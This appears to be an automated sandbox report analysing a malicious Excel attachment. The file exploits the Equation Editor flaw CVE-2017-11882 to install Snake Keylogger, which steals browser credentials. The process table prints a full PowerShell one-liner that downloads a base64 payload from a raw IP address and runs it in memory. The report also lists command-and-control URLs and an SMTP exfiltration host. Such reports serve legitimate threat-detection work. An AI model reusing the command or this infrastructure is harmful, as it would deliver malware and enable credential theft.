analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | Solicitud de cotizaciòn..xlsx |
| Full analysis: | https://app.any.run/tasks/440d4e74-553a-4531-8451-f7f6bda138f4 |
| Verdict: | Malicious activity |
| Analysis date: | December 05, 2022, 19:04:52 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
| File info: | Microsoft Excel 2007+ |
| MD5: | CD9567E232B722B34985981E32633321 |
| SHA1: | 3B1FDB9DACD8A1F20FDC0F03D2088855924452A7 |
| SHA256: | 7AE8B3795F2EFFF6E153B1290633C327A5D3ADE19F40ECC0A891579ED5587C61 |
| SSDEEP: | 24576:Cmv7PSn7ViMIY4oSX6fM1lPH/VE+njnkLQp:CmMVHfSlPHJngEp |
MALICIOUS
Suspicious connection from the Equation Editor
- EQNEDT32.EXE (PID: 2748)
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 2748)
Application was injected by another process
- svchost.exe (PID: 872)
- svchost.exe (PID: 896)
- svchost.exe (PID: 496)
- SearchIndexer.exe (PID: 2044)
Runs injected code in another process
- powercfg.exe (PID: 3044)
- rundll32.exe (PID: 2332)
Unusual connection from system programs
- RegAsm.exe (PID: 2316)
Creates a writable file the system directory
- powercfg.exe (PID: 3044)
SNAKE detected by memory dumps
- RegAsm.exe (PID: 2316)
SNAKEKEYLOGGER was detected
- RegAsm.exe (PID: 2316)
Loads the Task Scheduler COM API
- rundll32.exe (PID: 2332)
Steals credentials from Web Browsers
- RegAsm.exe (PID: 2316)
SUSPICIOUS
Reads settings of System Certificates
- EQNEDT32.EXE (PID: 2748)
Connects to the server without a host name
- powershell.exe (PID: 2908)
Reads the Internet Settings
- EQNEDT32.EXE (PID: 2748)
- RegAsm.exe (PID: 2316)
Checks Windows Trust Settings
- EQNEDT32.EXE (PID: 2748)
Reads security settings of Internet Explorer
- EQNEDT32.EXE (PID: 2748)
Executes as Windows Service
- powercfg.exe (PID: 3044)
- vssvc.exe (PID: 1292)
- rundll32.exe (PID: 2332)
- lpremove.exe (PID: 2812)
Executes PowerShell scripts
- WScript.exe (PID: 1736)
Executes scripts
- EQNEDT32.EXE (PID: 2748)
Removes files from Windows the directory
- powercfg.exe (PID: 3044)
- mcbuilder.exe (PID: 2976)
- rundll32.exe (PID: 2332)
Reads Microsoft Outlook installation path
- powercfg.exe (PID: 3044)
Searches for installed software
- rundll32.exe (PID: 2332)
INFO
Checks supported languages
- EQNEDT32.EXE (PID: 2748)
- RegAsm.exe (PID: 2316)
Reads the computer name
- EQNEDT32.EXE (PID: 2748)
- RegAsm.exe (PID: 2316)
Checks proxy server information
- EQNEDT32.EXE (PID: 2748)
Reads Environment values
- RegAsm.exe (PID: 2316)
Creates a file in a temporary directory
- powershell.exe (PID: 2908)
Reads security settings of Internet Explorer
- powershell.exe (PID: 2908)
Creates files in the Windows directory
- powercfg.exe (PID: 3044)
- rundll32.exe (PID: 2332)
- mcbuilder.exe (PID: 2976)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
SnakeKeylogger
(PID) Process(2316) RegAsm.exe
ProtocolSMTP
Hostkeefort.com.ec
Port587
Credentials
Username[email protected]
Password[email protected]@
TRiD
| .xlsx | | | Excel Microsoft Office Open XML Format document (61.2) |
| .zip | | | Open Packaging Conventions container (31.5) |
| .zip | | | ZIP compressed archive (7.2) |
Total processes
58
Monitored processes
16
Malicious processes
8
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2424 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.4756.1000 Modules
| |||||||||||||||
| 2748 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 2324 | C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} | C:\Windows\system32\DllHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3044 | C:\Windows\System32\powercfg.exe -energy -auto | C:\Windows\System32\powercfg.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Power Settings Command-Line Tool Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 872 | C:\Windows\system32\svchost.exe -k DcomLaunch | C:\Windows\system32\svchost.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1736 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\greeee.vbs" | C:\Windows\SysWOW64\WScript.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2908 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://4.204.233.44/DLL/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.sdkgajsasjkkgjsfddvfsdvn/42.021.871.591//:ptth')) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 764 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET Assembly Registration Utility Exit code: 4294967295 Version: 4.7.2558.0 built by: NET471REL1 Modules
| |||||||||||||||
| 2316 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET Assembly Registration Utility Version: 4.7.2558.0 built by: NET471REL1 Modules
SnakeKeylogger(PID) Process(2316) RegAsm.exe ProtocolSMTP Hostkeefort.com.ec Port587 Credentials Username[email protected] Password[email protected]@ | |||||||||||||||
| 2332 | C:\Windows\system32\rundll32.exe /d srrstr.dll,ExecuteScheduledSPPCreation | C:\Windows\system32\rundll32.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
19 028
Read events
18 674
Write events
350
Delete events
4
Modification events
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | |k: |
Value: 7C6B3A0078090000010000000000000000000000 | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2424) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
Executable files
0
Suspicious files
145
Text files
6
Unknown types
96
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2424 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRE37C.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2324 | DllHost.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat | — | |
MD5:— | SHA256:— | |||
| 3044 | powercfg.exe | C:\ProgramData\Microsoft\Windows\Power Efficiency Diagnostics\energy-ntkl.etl | — | |
MD5:— | SHA256:— | |||
| 2908 | powershell.exe | C:\Users\admin\AppData\Local\Temp\jtxhwtdd.rma.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
| 2908 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 2748 | EQNEDT32.EXE | C:\Users\admin\AppData\Roaming\greeee.vbs | text | |
MD5:AB3FE7A67DDD142A9BAA136EF4125704 | SHA256:84A64183C0D06A0A6AC7D9B431E843F74BEAC457F5561D12D58B349AE6F9035C | |||
| 2324 | DllHost.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\WebCache\V01.chk | binary | |
MD5:3DA00FFBA5690F6AF13370F00CAE5A17 | SHA256:FD0449A09A4627216BFABE3DB5243B0DB1818F01ACD3E617AD075668D5D3D011 | |||
| 2748 | EQNEDT32.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K78MRVB5\cousinsnkfridayPayload[1].vbs | text | |
MD5:AB3FE7A67DDD142A9BAA136EF4125704 | SHA256:84A64183C0D06A0A6AC7D9B431E843F74BEAC457F5561D12D58B349AE6F9035C | |||
| 2324 | DllHost.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\WebCache\V01.log | binary | |
MD5:5E3C6B74D1FD73C5D74C3871945A55DB | SHA256:B6CB57DE1A5EBF078CFCD4EBC2630DB260D2F2A377D0AEA280B603DC0E8A8CF9 | |||
| 2976 | mcbuilder.exe | C:\Windows\rescache\wip\Segment0.cmf | binary | |
MD5:68B35CF25AE98FD9B310DF7132450024 | SHA256:62F5CF8173B64216ACF11ACC1F291FCDFBE25FFEBD5B83FDA80DD516D0DDA527 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
3
Threats
13
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2908 | powershell.exe | GET | 200 | 195.178.120.24:80 | http://195.178.120.24/nvdsfvddfsjgkkjsasjagkds.txt | unknown | text | 168 Kb | malicious |
2316 | RegAsm.exe | GET | 200 | 158.101.44.242:80 | http://checkip.dyndns.org/ | US | html | 104 b | shared |
2908 | powershell.exe | GET | 200 | 4.204.233.44:80 | http://4.204.233.44/DLL/NoStartUp.ppam | US | text | 12.0 Kb | malicious |
2908 | powershell.exe | GET | 200 | 4.204.233.44:80 | http://4.204.233.44/Rump/Rump.xls | US | text | 53.1 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2748 | EQNEDT32.EXE | 142.250.185.202:443 | firebasestorage.googleapis.com | GOOGLE | US | whitelisted |
2316 | RegAsm.exe | 158.101.44.242:80 | checkip.dyndns.org | ORACLE-BMC-31898 | US | malicious |
2908 | powershell.exe | 4.204.233.44:80 | — | MICROSOFT-CORP-MSN-AS-BLOCK | US | malicious |
2908 | powershell.exe | 195.178.120.24:80 | — | Delis LLC | US | malicious |
2316 | RegAsm.exe | 88.99.90.21:587 | keefort.com.ec | Hetzner Online GmbH | DE | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
firebasestorage.googleapis.com |
| whitelisted |
checkip.dyndns.org |
| shared |
keefort.com.ec |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2908 | powershell.exe | A Network Trojan was detected | ET TROJAN Powershell commands sent B64 2 |
2908 | powershell.exe | Misc activity | ET POLICY EXE Base64 Encoded potential malware |
2908 | powershell.exe | Potentially Bad Traffic | ET INFO Dotted Quad Host XLS Request |
2908 | powershell.exe | Potentially Bad Traffic | ET INFO Terse Request for .txt - Likely Hostile |
2908 | powershell.exe | A Network Trojan was detected | ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 1 M1 |
— | — | Misc activity | ET INFO DYNAMIC_DNS Query to *.dyndns. Domain |
— | — | Misc activity | AV INFO Query to checkip.dyndns. Domain |
2316 | RegAsm.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup - checkip.dyndns.org |
2316 | RegAsm.exe | Generic Protocol Command Decode | SURICATA Applayer Detect protocol only one direction |
4 ETPRO signatures available at the full report